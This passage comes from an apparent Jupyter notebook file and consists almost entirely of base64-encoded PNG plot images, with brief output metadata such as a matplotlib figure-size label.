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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAuMAAABACAYAAACwannNAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOydd1hU19b/vwPDDJ0BQUCqSpVuxYYglostaowGK8SSmKZYEr25pvjGmHrVaBK9MSoSKyQWJAIqYgUE6YKA9N5hmIGpZ/3+8HJejZoIDOb33juf55nHZOZw1j7n7LP32mvv/V2ctrY2gho1atSoUaNGjRo1al44Gn91AdSoUaNGjRo1atSo+W9F7YyrUaNGjRo1atSoUfMXoXbG1ahRo0aNGjVq1Kj5i1A742rUqFGjRo0aNWrU/EWonXE1atSoUaNGjRo1av4i1M64GjVq1KhRo0aNGjV/Edw/+tHIyOhFlUONGjVq1KhRo0aNmv9YGIZBR0fHE9+rI+P/xxEKhVixYgV27twJLy8vZGZmQqFQ/NXFUqNGjRo1atSoUfMIDMM89fs/jIyr+f8bsViM06dP48KFC0hMTISbmxtsbGygqan5VxdNjRo1atSoUaNGzXOgdsb/j6JQKFBRUYGIiAjIZDJUVFRgxYoVMDAwAIfD+auL919FRkYGzp8/Dx0dHYSGhsLMzOyvLpLKyc/Ph1gsRkVFBbKzs1FZWQkA4PP5cHR0REhICIyNjf/iUqpRoxqICEeOHEFBQQEmT56MadOm/dVFUqNGzX8wamf8/yhNTU2IiIhAdnY2/P39UVdXh1GjRr2QqDjDMCgsLERTUxPS09Mhk8lgbGwMDw8PODs7w9DQsF8HBJ2dnaisrERubi4qKysxaNAgzJ07Fzwer99s/hGXLl3CwYMHYWdnh5dffvk/yhmvq6tDVlYWYmJi0NraiurqahQXF4PD4WDo0KHg8XhITk5GW1sbNm3aBAMDg7+6yP/nqa2tRUdHB4qLiyGXy9nvLS0t4ejoCIFA8BeW7j8fIkJcXBwOHToEkUiEYcOG9bvNy5cvIz8/H1KpFAKBAF5eXhg1alS/21XznwkRgYjA4XD+a4JzIpEIxcXFqKysRHFxMUaMGIHhw4dDV1eXPaarqwtdXV0wMTH5C0v6dF6IM97Y2Iji4mJIpVLY2dnB1tYWGhr9v1ydiCCRSFBbW4uKigowDANfX9/HHk5vaGtrQ21tLfT09GBmZgYdHR0wDAOhUIjS0lJ0dHRAKpXCwcEBAwcOhJ6enoqu6CHdUfGLFy8CAFauXImWlhaMHDnyhdzXuro6HDp0CFVVVTh//jzEYjEsLS0xbdo0TJkyBaNGjYKzs3O/2JbJZLh79y7i4+Nx584d1NbWYtiwYfD398fAgQP7xeYf0dDQgNjYWLS3t8PT07PPdev/J27evImUlBTExsbi3r17MDIywqBBgzBu3Dg4OTlhzJgxAIATJ05g9+7dW